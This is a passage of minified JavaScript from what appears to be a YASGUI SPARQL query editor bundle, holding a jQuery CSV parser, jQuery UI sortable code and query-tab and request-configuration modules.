n(){l=0;u="";if(t.start&&t.state.rowNum<t.start){a=[];t.state.rowNum++;t.state.colNum=1}else{if(void 0===t.onParseEntry)s.push(a);else{var e=t.onParseEntry(a,t.state);e!==!1&&s.push(e)}a=[];t.end&&t.state.rowNum>=t.end&&(c=!0);t.state.rowNum++;t.state.colNum=1}}function r(){if(void 0===t.onParseValue)a.push(u);else{var e=t.onParseValue(u,t.state);e!==!1&&a.push(e)}u="";l=0;t.state.colNum++}var i=t.separator,o=t.delimiter;t.state.rowNum||(t.state.rowNum=1);t.state.colNum||(t.state.colNum=1);var s=[],a=[],l=0,u="",c=!1,p=RegExp.escape(i),d=RegExp.escape(o),f=/(D|S|\n|\r|[^DS\r\n]+)/,h=f.source;h=h.replace(/S/g,p);h=h.replace(/D/g,d);f=RegExp(h,"gm");e.replace(f,function(e){if(!c)switch(l){case 0:if(e===i){u+="";r();break}if(e===o){l=1;break}if("\n"===e){r();n();break}if(/^\r$/.test(e))break;u+=e;l=3;break;case 1:if(e===o){l=2;break}u+=e;l=1;break;case 2:if(e===o){u+=e;l=1;break}if(e===i){r();break}if("\n"===e){r();n();break}if(/^\r$/.test(e))break;throw new Error("CSVDataError: Illegal State [Row:"+t.state.rowNum+"][Col:"+t.state.colNum+"]");case 3:if(e===i){r();break}if("\n"===e){r();n();break}if(/^\r$/.test(e))break;if(e===o)throw new Error("CSVDataError: Illegal Quote [Row:"+t.state.rowNum+"][Col:"+t.state.colNum+"]");throw new Error("CSVDataError: Illegal Data [Row:"+t.state.rowNum+"][Col:"+t.state.colNum+"]");default:throw new Error("CSVDataError: Unknown State [Row:"+t.state.rowNum+"][Col:"+t.state.colNum+"]")}});if(0!==a.length){r();n()}return s},splitLines:function(e,t){function n(){s=0;if(t.start&&t.state.rowNum<t.start){a="";t.state.rowNum++}else{if(void 0===t.onParseEntry)o.push(a);else{var e=t.onParseEntry(a,t.state);e!==!1&&o.push(e)}a="";t.end&&t.state.rowNum>=t.end&&(l=!0);t.state.rowNum++}}var r=t.separator,i=t.delimiter;t.state.rowNum||(t.state.rowNum=1);var o=[],s=0,a="",l=!1,u=RegExp.escape(r),c=RegExp.escape(i),p=/(D|S|\n|\r|[^DS\r\n]+)/,d=p.source;d=d.replace(/S/g,u);d=d.replace(/D/g,c);p=RegExp(d,"gm");e.replace(p,function(e){if(!l)switch(s){case 0:if(e===r){a+=e;s=0;break}if(e===i){a+=e;s=1;break}if("\n"===e){n();break}if(/^\r$/.test(e))break;a+=e;s=3;break;case 1:if(e===i){a+=e;s=2;break}a+=e;s=1;break;case 2:var o=a.substr(a.length-1);if(e===i&&o===i){a+=e;s=1;break}if(e===r){a+=e;s=0;break}if("\n"===e){n();break}if("\r"===e)break;throw new Error("CSVDataError: Illegal state [Row:"+t.state.rowNum+"]");case 3:if(e===r){a+=e;s=0;break}if("\n"===e){n();break}if("\r"===e)break;if(e===i)throw new Error("CSVDataError: Illegal quote [Row:"+t.state.rowNum+"]");throw new Error("CSVDataError: Illegal state [Row:"+t.state.rowNum+"]");default:throw new Error("CSVDataError: Unknown state [Row:"+t.state.rowNum+"]")}});""!==a&&n();return o},parseEntry:function(e,t){function n(){if(void 0===t.onParseValue)o.push(a);else{var e=t.onParseValue(a,t.state);e!==!1&&o.push(e)}a="";s=0;t.state.colNum++}var r=t.separator,i=t.delimiter;t.state.rowNum||(t.state.rowNum=1);t.state.colNum||(t.state.colNum=1);var o=[],s=0,a="";if(!t.match){var l=RegExp.escape(r),u=RegExp.escape(i),c=/(D|S|\n|\r|[^DS\r\n]+)/,p=c.source;p=p.replace(/S/g,l);p=p.replace(/D/g,u);t.match=RegExp(p,"gm")}e.replace(t.match,function(e){switch(s){case 0:if(e===r){a+="";n();break}if(e===i){s=1;break}if("\n"===e||"\r"===e)break;a+=e;s=3;break;case 1:if(e===i){s=2;break}a+=e;s=1;break;case 2:if(e===i){a+=e;s=1;break}if(e===r){n();break}if("\n"===e||"\r"===e)break;throw new Error("CSVDataError: Illegal State [Row:"+t.state.rowNum+"][Col:"+t.state.colNum+"]");case 3:if(e===r){n();break}if("\n"===e||"\r"===e)break;if(e===i)throw new Error("CSVDataError: Illegal Quote [Row:"+t.state.rowNum+"][Col:"+t.state.colNum+"]");throw new Error("CSVDataError: Illegal Data [Row:"+t.state.rowNum+"][Col:"+t.state.colNum+"]");default:throw new Error("CSVDataError: Unknown State [Row:"+t.state.rowNum+"][Col:"+t.state.colNum+"]")}});n();return o}},toArray:function(e,n,r){var n=void 0!==n?n:{},i={};i.callback=void 0!==r&&"function"==typeof r?r:!1;i.separator="separator"in n?n.separator:t.csv.defaults.separator;i.delimiter="delimiter"in n?n.delimiter:t.csv.defaults.delimiter;var o=void 0!==n.state?n.state:{},n={delimiter:i.delimiter,separator:i.separator,onParseEntry:n.onParseEntry,onParseValue:n.onParseValue,state:o},s=t.csv.parsers.parseEntry(e,n);if(!i.callback)return s;i.callback("",s);return void 0},toArrays:function(e,n,r){var n=void 0!==n?n:{},i={};i.callback=void 0!==r&&"function"==typeof r?r:!1;i.separator="separator"in n?n.separator:t.csv.defaults.separator;i.delimiter="delimiter"in n?n.delimiter:t.csv.defaults.delimiter;var o=[],n={delimiter:i.delimiter,separator:i.separator,onParseEntry:n.onParseEntry,onParseValue:n.onParseValue,start:n.start,end:n.end,state:{rowNum:1,colNum:1}};o=t.csv.parsers.parse(e,n);if(!i.callback)return o;i.callback("",o);return void 0},toObjects:function(e,n,r){var n=void 0!==n?n:{},i={};i.callback=void 0!==r&&"function"==typeof r?r:!1;i.separator="separator"in n?n.separator:t.csv.defaults.separator;i.delimiter="delimiter"in n?n.delimiter:t.csv.defaults.delimiter;i.headers="headers"in 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n,r,i,o,s=this.options,a=!1;this.position=this._generatePosition(t);this.positionAbs=this._convertPositionTo("absolute");this.lastPositionAbs||(this.lastPositionAbs=this.positionAbs);if(this.options.scroll){if(this.scrollParent[0]!==document&&"HTML"!==this.scrollParent[0].tagName){this.overflowOffset.top+this.scrollParent[0].offsetHeight-t.pageY<s.scrollSensitivity?this.scrollParent[0].scrollTop=a=this.scrollParent[0].scrollTop+s.scrollSpeed:t.pageY-this.overflowOffset.top<s.scrollSensitivity&&(this.scrollParent[0].scrollTop=a=this.scrollParent[0].scrollTop-s.scrollSpeed);this.overflowOffset.left+this.scrollParent[0].offsetWidth-t.pageX<s.scrollSensitivity?this.scrollParent[0].scrollLeft=a=this.scrollParent[0].scrollLeft+s.scrollSpeed:t.pageX-this.overflowOffset.left<s.scrollSensitivity&&(this.scrollParent[0].scrollLeft=a=this.scrollParent[0].scrollLeft-s.scrollSpeed)}else{t.pageY-e(document).scrollTop()<s.scrollSensitivity?a=e(document).scrollTop(e(document).scrollTop()-s.scrollSpeed):e(window).height()-(t.pageY-e(document).scrollTop())<s.scrollSensitivity&&(a=e(document).scrollTop(e(document).scrollTop()+s.scrollSpeed));t.pageX-e(document).scrollLeft()<s.scrollSensitivity?a=e(document).scrollLeft(e(document).scrollLeft()-s.scrollSpeed):e(window).width()-(t.pageX-e(document).scrollLeft())<s.scrollSensitivity&&(a=e(document).scrollLeft(e(document).scrollLeft()+s.scrollSpeed))}a!==!1&&e.ui.ddmanager&&!s.dropBehaviour&&e.ui.ddmanager.prepareOffsets(this,t)}this.positionAbs=this._convertPositionTo("absolute");this.options.axis&&"y"===this.options.axis||(this.helper[0].style.left=this.position.left+"px");this.options.axis&&"x"===this.options.axis||(this.helper[0].style.top=this.position.top+"px");for(n=this.items.length-1;n>=0;n--){r=this.items[n];i=r.item[0];o=this._intersectsWithPointer(r);if(o&&r.instance===this.currentContainer&&i!==this.currentItem[0]&&this.placeholder[1===o?"next":"prev"]()[0]!==i&&!e.contains(this.placeholder[0],i)&&("semi-dynamic"===this.options.type?!e.contains(this.element[0],i):!0)){this.direction=1===o?"down":"up";if("pointer"!==this.options.tolerance&&!this._intersectsWithSides(r))break;this._rearrange(t,r);this._trigger("change",t,this._uiHash());break}}this._contactContainers(t);e.ui.ddmanager&&e.ui.ddmanager.drag(this,t);this._trigger("sort",t,this._uiHash());this.lastPositionAbs=this.positionAbs;return!1},_mouseStop:function(t,n){if(t){e.ui.ddmanager&&!this.options.dropBehaviour&&e.ui.ddmanager.drop(this,t);if(this.options.revert){var r=this,i=this.placeholder.offset(),o=this.options.axis,s={};o&&"x"!==o||(s.left=i.left-this.offset.parent.left-this.margins.left+(this.offsetParent[0]===document.body?0:this.offsetParent[0].scrollLeft));o&&"y"!==o||(s.top=i.top-this.offset.parent.top-this.margins.top+(this.offsetParent[0]===document.body?0:this.offsetParent[0].scrollTop));this.reverting=!0;e(this.helper).animate(s,parseInt(this.options.revert,10)||500,function(){r._clear(t)})}else this._clear(t,n);return!1}},cancel:function(){if(this.dragging){this._mouseUp({target:null});"original"===this.options.helper?this.currentItem.css(this._storedCSS).removeClass("ui-sortable-helper"):this.currentItem.show();for(var t=this.containers.length-1;t>=0;t--){this.containers[t]._trigger("deactivate",null,this._uiHash(this));if(this.containers[t].containerCache.over){this.containers[t]._trigger("out",null,this._uiHash(this));this.containers[t].containerCache.over=0}}}if(this.placeholder){this.placeholder[0].parentNode&&this.placeholder[0].parentNode.removeChild(this.placeholder[0]);"original"!==this.options.helper&&this.helper&&this.helper[0].parentNode&&this.helper.remove();e.extend(this,{helper:null,dragging:!1,reverting:!1,_noFinalSort:null});this.domPosition.prev?e(this.domPosition.prev).after(this.currentItem):e(this.domPosition.parent).prepend(this.currentItem)}return this},serialize:function(t){var n=this._getItemsAsjQuery(t&&t.connected),r=[];t=t||{};e(n).each(function(){var n=(e(t.item||this).attr(t.attribute||"id")||"").match(t.expression||/(.+)[\-=_](.+)/);n&&r.push((t.key||n[1]+"[]")+"="+(t.key&&t.expression?n[1]:n[2]))});!r.length&&t.key&&r.push(t.key+"=");return r.join("&")},toArray:function(t){var n=this._getItemsAsjQuery(t&&t.connected),r=[];t=t||{};n.each(function(){r.push(e(t.item||this).attr(t.attribute||"id")||"")});return r},_intersectsWith:function(e){var t=this.positionAbs.left,n=t+this.helperProportions.width,r=this.positionAbs.top,i=r+this.helperProportions.height,o=e.left,s=o+e.width,a=e.top,l=a+e.height,u=this.offset.click.top,c=this.offset.click.left,p="x"===this.options.axis||r+u>a&&l>r+u,d="y"===this.options.axis||t+c>o&&s>t+c,f=p&&d;return"pointer"===this.options.tolerance||this.options.forcePointerForContainers||"pointer"!==this.options.tolerance&&this.helperProportions[this.floating?"width":"height"]>e[this.floating?"width":"height"]?f:o<t+this.helperProportions.width/2&&n-this.helperProportions.width/2<s&&a<r+this.helperProportions.height/2&&i-this.helperProportions.height/2<l},_intersectsWithPointer:function(e){var n="x"===this.options.axis||t(this.positionAbs.top+this.offset.click.top,e.top,e.height),r="y"===this.options.axis||t(this.positionAbs.left+this.offset.click.left,e.left,e.width),i=n&&r,o=this._getDragVerticalDirection(),s=this._getDragHorizontalDirection();return i?this.floating?s&&"right"===s||"down"===o?2:1:o&&("down"===o?2:1):!1},_intersectsWithSides:function(e){var n=t(this.positionAbs.top+this.offset.click.top,e.top+e.height/2,e.height),r=t(this.positionAbs.left+this.offset.click.left,e.left+e.width/2,e.width),i=this._getDragVerticalDirection(),o=this._getDragHorizontalDirection();return this.floating&&o?"right"===o&&r||"left"===o&&!r:i&&("down"===i&&n||"up"===i&&!n)},_getDragVerticalDirection:function(){var e=this.positionAbs.top-this.lastPositionAbs.top;return 0!==e&&(e>0?"down":"up")},_getDragHorizontalDirection:function(){var e=this.positionAbs.left-this.lastPositionAbs.left;return 0!==e&&(e>0?"right":"left")},refresh:function(e){this._refreshItems(e);this.refreshPositions();return this},_connectWith:function(){var e=this.options;return e.connectWith.constructor===String?[e.connectWith]:e.connectWith},_getItemsAsjQuery:function(t){function n(){a.push(this)}var r,i,o,s,a=[],l=[],u=this._connectWith();if(u&&t)for(r=u.length-1;r>=0;r--){o=e(u[r]);for(i=o.length-1;i>=0;i--){s=e.data(o[i],this.widgetFullName);s&&s!==this&&!s.options.disabled&&l.push([e.isFunction(s.options.items)?s.options.items.call(s.element):e(s.options.items,s.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"),s])}}l.push([e.isFunction(this.options.items)?this.options.items.call(this.element,null,{options:this.options,item:this.currentItem}):e(this.options.items,this.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"),this]);for(r=l.length-1;r>=0;r--)l[r][0].each(n);return e(a)},_removeCurrentsFromItems:function(){var t=this.currentItem.find(":data("+this.widgetName+"-item)");this.items=e.grep(this.items,function(e){for(var n=0;n<t.length;n++)if(t[n]===e.item[0])return!1;return!0})},_refreshItems:function(t){this.items=[];
this.containers=[this];var n,r,i,o,s,a,l,u,c=this.items,p=[[e.isFunction(this.options.items)?this.options.items.call(this.element[0],t,{item:this.currentItem}):e(this.options.items,this.element),this]],d=this._connectWith();if(d&&this.ready)for(n=d.length-1;n>=0;n--){i=e(d[n]);for(r=i.length-1;r>=0;r--){o=e.data(i[r],this.widgetFullName);if(o&&o!==this&&!o.options.disabled){p.push([e.isFunction(o.options.items)?o.options.items.call(o.element[0],t,{item:this.currentItem}):e(o.options.items,o.element),o]);this.containers.push(o)}}}for(n=p.length-1;n>=0;n--){s=p[n][1];a=p[n][0];for(r=0,u=a.length;u>r;r++){l=e(a[r]);l.data(this.widgetName+"-item",s);c.push({item:l,instance:s,width:0,height:0,left:0,top:0})}}},refreshPositions:function(t){this.offsetParent&&this.helper&&(this.offset.parent=this._getParentOffset());var n,r,i,o;for(n=this.items.length-1;n>=0;n--){r=this.items[n];if(r.instance===this.currentContainer||!this.currentContainer||r.item[0]===this.currentItem[0]){i=this.options.toleranceElement?e(this.options.toleranceElement,r.item):r.item;if(!t){r.width=i.outerWidth();r.height=i.outerHeight()}o=i.offset();r.left=o.left;r.top=o.top}}if(this.options.custom&&this.options.custom.refreshContainers)this.options.custom.refreshContainers.call(this);else for(n=this.containers.length-1;n>=0;n--){o=this.containers[n].element.offset();this.containers[n].containerCache.left=o.left;this.containers[n].containerCache.top=o.top;this.containers[n].containerCache.width=this.containers[n].element.outerWidth();this.containers[n].containerCache.height=this.containers[n].element.outerHeight()}return this},_createPlaceholder:function(t){t=t||this;var n,r=t.options;if(!r.placeholder||r.placeholder.constructor===String){n=r.placeholder;r.placeholder={element:function(){var r=t.currentItem[0].nodeName.toLowerCase(),i=e("<"+r+">",t.document[0]).addClass(n||t.currentItem[0].className+" ui-sortable-placeholder").removeClass("ui-sortable-helper");"tr"===r?t.currentItem.children().each(function(){e("<td> </td>",t.document[0]).attr("colspan",e(this).attr("colspan")||1).appendTo(i)}):"img"===r&&i.attr("src",t.currentItem.attr("src"));n||i.css("visibility","hidden");return i},update:function(e,i){if(!n||r.forcePlaceholderSize){i.height()||i.height(t.currentItem.innerHeight()-parseInt(t.currentItem.css("paddingTop")||0,10)-parseInt(t.currentItem.css("paddingBottom")||0,10));i.width()||i.width(t.currentItem.innerWidth()-parseInt(t.currentItem.css("paddingLeft")||0,10)-parseInt(t.currentItem.css("paddingRight")||0,10))}}}}t.placeholder=e(r.placeholder.element.call(t.element,t.currentItem));t.currentItem.after(t.placeholder);r.placeholder.update(t,t.placeholder)},_contactContainers:function(r){var i,o,s,a,l,u,c,p,d,f,h=null,g=null;for(i=this.containers.length-1;i>=0;i--)if(!e.contains(this.currentItem[0],this.containers[i].element[0]))if(this._intersectsWith(this.containers[i].containerCache)){if(h&&e.contains(this.containers[i].element[0],h.element[0]))continue;h=this.containers[i];g=i}else if(this.containers[i].containerCache.over){this.containers[i]._trigger("out",r,this._uiHash(this));this.containers[i].containerCache.over=0}if(h)if(1===this.containers.length){if(!this.containers[g].containerCache.over){this.containers[g]._trigger("over",r,this._uiHash(this));this.containers[g].containerCache.over=1}}else{s=1e4;a=null;f=h.floating||n(this.currentItem);l=f?"left":"top";u=f?"width":"height";c=this.positionAbs[l]+this.offset.click[l];for(o=this.items.length-1;o>=0;o--)if(e.contains(this.containers[g].element[0],this.items[o].item[0])&&this.items[o].item[0]!==this.currentItem[0]&&(!f||t(this.positionAbs.top+this.offset.click.top,this.items[o].top,this.items[o].height))){p=this.items[o].item.offset()[l];d=!1;if(Math.abs(p-c)>Math.abs(p+this.items[o][u]-c)){d=!0;p+=this.items[o][u]}if(Math.abs(p-c)<s){s=Math.abs(p-c);a=this.items[o];this.direction=d?"up":"down"}}if(!a&&!this.options.dropOnEmpty)return;if(this.currentContainer===this.containers[g])return;a?this._rearrange(r,a,null,!0):this._rearrange(r,null,this.containers[g].element,!0);this._trigger("change",r,this._uiHash());this.containers[g]._trigger("change",r,this._uiHash(this));this.currentContainer=this.containers[g];this.options.placeholder.update(this.currentContainer,this.placeholder);this.containers[g]._trigger("over",r,this._uiHash(this));this.containers[g].containerCache.over=1}},_createHelper:function(t){var n=this.options,r=e.isFunction(n.helper)?e(n.helper.apply(this.element[0],[t,this.currentItem])):"clone"===n.helper?this.currentItem.clone():this.currentItem;r.parents("body").length||e("parent"!==n.appendTo?n.appendTo:this.currentItem[0].parentNode)[0].appendChild(r[0]);r[0]===this.currentItem[0]&&(this._storedCSS={width:this.currentItem[0].style.width,height:this.currentItem[0].style.height,position:this.currentItem.css("position"),top:this.currentItem.css("top"),left:this.currentItem.css("left")});(!r[0].style.width||n.forceHelperSize)&&r.width(this.currentItem.width());(!r[0].style.height||n.forceHelperSize)&&r.height(this.currentItem.height());return r},_adjustOffsetFromHelper:function(t){"string"==typeof t&&(t=t.split(" "));e.isArray(t)&&(t={left:+t[0],top:+t[1]||0});"left"in t&&(this.offset.click.left=t.left+this.margins.left);"right"in t&&(this.offset.click.left=this.helperProportions.width-t.right+this.margins.left);"top"in t&&(this.offset.click.top=t.top+this.margins.top);"bottom"in t&&(this.offset.click.top=this.helperProportions.height-t.bottom+this.margins.top)},_getParentOffset:function(){this.offsetParent=this.helper.offsetParent();var t=this.offsetParent.offset();if("absolute"===this.cssPosition&&this.scrollParent[0]!==document&&e.contains(this.scrollParent[0],this.offsetParent[0])){t.left+=this.scrollParent.scrollLeft();t.top+=this.scrollParent.scrollTop()}(this.offsetParent[0]===document.body||this.offsetParent[0].tagName&&"html"===this.offsetParent[0].tagName.toLowerCase()&&e.ui.ie)&&(t={top:0,left:0});return{top:t.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:t.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if("relative"===this.cssPosition){var e=this.currentItem.position();return{top:e.top-(parseInt(this.helper.css("top"),10)||0)+this.scrollParent.scrollTop(),left:e.left-(parseInt(this.helper.css("left"),10)||0)+this.scrollParent.scrollLeft()}}return{top:0,left:0}},_cacheMargins:function(){this.margins={left:parseInt(this.currentItem.css("marginLeft"),10)||0,top:parseInt(this.currentItem.css("marginTop"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var t,n,r,i=this.options;"parent"===i.containment&&(i.containment=this.helper[0].parentNode);("document"===i.containment||"window"===i.containment)&&(this.containment=[0-this.offset.relative.left-this.offset.parent.left,0-this.offset.relative.top-this.offset.parent.top,e("document"===i.containment?document:window).width()-this.helperProportions.width-this.margins.left,(e("document"===i.containment?document:window).height()||document.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top]);if(!/^(document|window|parent)$/.test(i.containment)){t=e(i.containment)[0];n=e(i.containment).offset();r="hidden"!==e(t).css("overflow");this.containment=[n.left+(parseInt(e(t).css("borderLeftWidth"),10)||0)+(parseInt(e(t).css("paddingLeft"),10)||0)-this.margins.left,n.top+(parseInt(e(t).css("borderTopWidth"),10)||0)+(parseInt(e(t).css("paddingTop"),10)||0)-this.margins.top,n.left+(r?Math.max(t.scrollWidth,t.offsetWidth):t.offsetWidth)-(parseInt(e(t).css("borderLeftWidth"),10)||0)-(parseInt(e(t).css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left,n.top+(r?Math.max(t.scrollHeight,t.offsetHeight):t.offsetHeight)-(parseInt(e(t).css("borderTopWidth"),10)||0)-(parseInt(e(t).css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top]}},_convertPositionTo:function(t,n){n||(n=this.position);var r="absolute"===t?1:-1,i="absolute"!==this.cssPosition||this.scrollParent[0]!==document&&e.contains(this.scrollParent[0],this.offsetParent[0])?this.scrollParent:this.offsetParent,o=/(html|body)/i.test(i[0].tagName);return{top:n.top+this.offset.relative.top*r+this.offset.parent.top*r-("fixed"===this.cssPosition?-this.scrollParent.scrollTop():o?0:i.scrollTop())*r,left:n.left+this.offset.relative.left*r+this.offset.parent.left*r-("fixed"===this.cssPosition?-this.scrollParent.scrollLeft():o?0:i.scrollLeft())*r}},_generatePosition:function(t){var n,r,i=this.options,o=t.pageX,s=t.pageY,a="absolute"!==this.cssPosition||this.scrollParent[0]!==document&&e.contains(this.scrollParent[0],this.offsetParent[0])?this.scrollParent:this.offsetParent,l=/(html|body)/i.test(a[0].tagName);"relative"!==this.cssPosition||this.scrollParent[0]!==document&&this.scrollParent[0]!==this.offsetParent[0]||(this.offset.relative=this._getRelativeOffset());if(this.originalPosition){if(this.containment){t.pageX-this.offset.click.left<this.containment[0]&&(o=this.containment[0]+this.offset.click.left);t.pageY-this.offset.click.top<this.containment[1]&&(s=this.containment[1]+this.offset.click.top);t.pageX-this.offset.click.left>this.containment[2]&&(o=this.containment[2]+this.offset.click.left);t.pageY-this.offset.click.top>this.containment[3]&&(s=this.containment[3]+this.offset.click.top)}if(i.grid){n=this.originalPageY+Math.round((s-this.originalPageY)/i.grid[1])*i.grid[1];s=this.containment?n-this.offset.click.top>=this.containment[1]&&n-this.offset.click.top<=this.containment[3]?n:n-this.offset.click.top>=this.containment[1]?n-i.grid[1]:n+i.grid[1]:n;r=this.originalPageX+Math.round((o-this.originalPageX)/i.grid[0])*i.grid[0];o=this.containment?r-this.offset.click.left>=this.containment[0]&&r-this.offset.click.left<=this.containment[2]?r:r-this.offset.click.left>=this.containment[0]?r-i.grid[0]:r+i.grid[0]:r}}return{top:s-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+("fixed"===this.cssPosition?-this.scrollParent.scrollTop():l?0:a.scrollTop()),left:o-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+("fixed"===this.cssPosition?-this.scrollParent.scrollLeft():l?0:a.scrollLeft())}},_rearrange:function(e,t,n,r){n?n[0].appendChild(this.placeholder[0]):t.item[0].parentNode.insertBefore(this.placeholder[0],"down"===this.direction?t.item[0]:t.item[0].nextSibling);this.counter=this.counter?++this.counter:1;var i=this.counter;this._delay(function(){i===this.counter&&this.refreshPositions(!r)})},_clear:function(e,t){function n(e,t,n){return function(r){n._trigger(e,r,t._uiHash(t))}}this.reverting=!1;var r,i=[];!this._noFinalSort&&this.currentItem.parent().length&&this.placeholder.before(this.currentItem);this._noFinalSort=null;if(this.helper[0]===this.currentItem[0]){for(r in this._storedCSS)("auto"===this._storedCSS[r]||"static"===this._storedCSS[r])&&(this._storedCSS[r]="");this.currentItem.css(this._storedCSS).removeClass("ui-sortable-helper")}else this.currentItem.show();this.fromOutside&&!t&&i.push(function(e){this._trigger("receive",e,this._uiHash(this.fromOutside))});!this.fromOutside&&this.domPosition.prev===this.currentItem.prev().not(".ui-sortable-helper")[0]&&this.domPosition.parent===this.currentItem.parent()[0]||t||i.push(function(e){this._trigger("update",e,this._uiHash())});if(this!==this.currentContainer&&!t){i.push(function(e){this._trigger("remove",e,this._uiHash())});i.push(function(e){return function(t){e._trigger("receive",t,this._uiHash(this))}}.call(this,this.currentContainer));i.push(function(e){return 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if("defaultGraph"==t.name){e.yasqe.sparql.defaultGraphs||(e.yasqe.sparql.defaultGraphs=[]);e.yasqe.sparql.defaultGraphs.push(t.value)}else{e.yasqe.sparql.args||(e.yasqe.sparql.args=[]);e.yasqe.sparql.args.push(t)}});return n?e:null}}},{}],108:[function(e,t){"use strict";var n=e("jquery"),r=e("events").EventEmitter,i=(e("./utils.js"),e("yasgui-utils")),o=e("underscore"),s=e("./main.js"),a={yasqe:{height:300,sparql:{endpoint:s.YASQE.defaults.sparql.endpoint,acceptHeaderGraph:s.YASQE.defaults.sparql.acceptHeaderGraph,acceptHeaderSelect:s.YASQE.defaults.sparql.acceptHeaderSelect,args:s.YASQE.defaults.sparql.args,defaultGraphs:s.YASQE.defaults.sparql.defaultGraphs,namedGraphs:s.YASQE.defaults.sparql.namedGraphs,requestMethod:s.YASQE.defaults.sparql.requestMethod}}};t.exports=function(e,t,n,r){return new l(e,t,n,r)};var l=function(t,l,u,c){r.call(this);t.persistentOptions.tabs[l]=t.persistentOptions.tabs[l]?n.extend(!0,{},a,t.persistentOptions.tabs[l]):n.extend(!0,{id:l,name:u},a);var p=t.persistentOptions.tabs[l];c&&(p.yasqe.sparql.endpoint=c);var d=this;d.persistentOptions=p;var f,h=e("./tabPaneMenu.js")(t,d),g=n("<div>",{id:p.id,style:"position:relative","class":"tab-pane",role:"tabpanel"}).appendTo(t.$tabPanesParent),m=n("<div>",{"class":"wrapper"}).appendTo(g),v=n("<div>",{"class":"controlbar"}).appendTo(m),E=(h.initWrapper().appendTo(g),function(){n("<button>",{type:"button","class":"menuButton btn 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o=50;t.history.length>o&&(t.history=t.history.slice(0,o));t.persistencyPrefix&&i.storage.set(t.persistencyPrefix+"history",t.history)};d.setPersistentInYasqe=function(){if(d.yasqe){n.extend(d.yasqe.options.sparql,p.yasqe.sparql);p.yasqe.value&&d.yasqe.setValue(p.yasqe.value)}};n.extend(b,p.yasqe);var S=function(){if(!d.yasr){d.yasqe||N();var e=function(){return p.yasqe.sparql.endpoint+"?"+n.param(d.yasqe.getUrlArguments(p.yasqe.sparql))};s.YASR.plugins.error.defaults.tryQueryLink=e;d.yasr=s.YASR(x[0],n.extend({getUsedPrefixes:d.yasqe.getPrefixesFromQuery},p.yasr))}};d.query=function(){d.yasqe.query()};var N=function(){if(!d.yasqe){E();s.YASQE.defaults.extraKeys["Ctrl-Space"]=function(){d.yasqe.query.apply(this,arguments)};s.YASQE.defaults.extraKeys["Cmd-Space"]=function(){d.yasqe.query.apply(this,arguments)};d.yasqe=s.YASQE(y[0],b);d.yasqe.setSize("100%",p.yasqe.height);d.yasqe.on("blur",function(e){p.yasqe.value=e.getValue();t.store()});var e=null;d.yasqe.options.sparql.callbacks.beforeSend=function(){e=+new Date};d.yasqe.options.sparql.callbacks.complete=function(){var n=+new Date;t.tracker.track(p.yasqe.sparql.endpoint,d.yasqe.getValueWithoutComments(),n-e);d.yasr.setResponse.apply(this,arguments);T()};d.yasqe.query=function(){var e={};e=n.extend(!0,e,d.yasqe.options.sparql);if(t.options.api.corsProxy&&t.corsEnabled)if(t.corsEnabled[p.yasqe.sparql.endpoint])s.YASQE.executeQuery(d.yasqe,e);else{e.args.push({name:"endpoint",value:e.endpoint});e.args.push({name:"requestMethod",value:e.requestMethod});e.requestMethod="POST";e.endpoint=t.options.api.corsProxy;s.YASQE.executeQuery(d.yasqe,e)}else s.YASQE.executeQuery(d.yasqe,e)}}};d.onShow=function(){N();d.yasqe.refresh();S();n(d.yasqe.getWrapperElement()).resizable({minHeight:200,handles:"s",resize:function(){o.debounce(function(){d.yasqe.setSize("100%",n(this).height());d.yasqe.refresh()},500)},stop:function(){p.yasqe.height=n(this).height();d.yasqe.refresh();t.store()}})};d.beforeShow=function(){N()};d.refreshYasqe=function(){if(d.yasqe){n.extend(!0,d.yasqe.options,d.persistentOptions.yasqe);d.persistentOptions.yasqe.value&&d.yasqe.setValue(d.persistentOptions.yasqe.value)}};d.destroy=function(){d.yasr||(d.yasr=s.YASR(x[0],{outputPlugins:[]},""));i.storage.removeAll(function(e){return 0==e.indexOf(d.yasr.getPersistencyId(""))})};d.getEndpoint=function(){var e=null;i.nestedExists(d.persistentOptions,"yasqe","sparql","endpoint")&&(e=d.persistentOptions.yasqe.sparql.endpoint);return e};return d};l.prototype=new r},{"./main.js":106,"./shareLink":107,"./tabPaneMenu.js":109,"./utils.js":111,events:2,jquery:8,underscore:12,"yasgui-utils":15}],109:[function(e,t){"use strict";var n=e("jquery"),r=e("./imgs.js"),i=(e("selectize"),e("yasgui-utils"));t.exports=function(e,t){var o,s,a,l,u,c,p,d=null,f=null,h=null,g=null,m=null,v=function(){d=n("<nav>",{"class":"menu-slide",id:"navmenu"});d.append(n(i.svg.getElement(r.yasgui)).addClass("yasguiLogo").attr("title","About YASGUI").click(function(){window.open("http://about.yasgui.org","_blank")}));f=n("<div>",{role:"tabpanel"}).appendTo(d);h=n("<ul>",{"class":"nav nav-pills tabPaneMenuTabs",role:"tablist"}).appendTo(f);g=n("<div>",{"class":"tab-content"}).appendTo(f);var v=n("<li>",{role:"presentation"}).appendTo(h),E="yasgui_reqConfig_"+t.persistentOptions.id;v.append(n("<a>",{href:"#"+E,"aria-controls":E,role:"tab","data-toggle":"tab"}).text("Configure Request").click(function(e){e.preventDefault();n(this).tab("show")}));var y=n("<div>",{id:E,role:"tabpanel","class":"tab-pane requestConfig container-fluid"}).appendTo(g),x=n("<div>",{"class":"reqRow"}).appendTo(y);n("<div>",{"class":"rowLabel"}).appendTo(x).append(n("<span>").text("Request Method"));o=n("<button>",{"class":"btn btn-default ","data-toggle":"button"}).text("POST").click(function(){o.addClass("active");s.removeClass("active")});s=n("<button>",{"class":"btn btn-default","data-toggle":"button"}).text("GET").click(function(){s.addClass("active");o.removeClass("active")});n("<div>",{"class":"btn-group col-md-8",role:"group"}).append(s).append(o).appendTo(x);var b=n("<div>",{"class":"reqRow"}).appendTo(y);n("<div>",{"class":"rowLabel"}).appendTo(b).text("Accept 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Arguments");u=n("<div>",{"class":"col-md-8",role:"group"}).appendTo(T);var 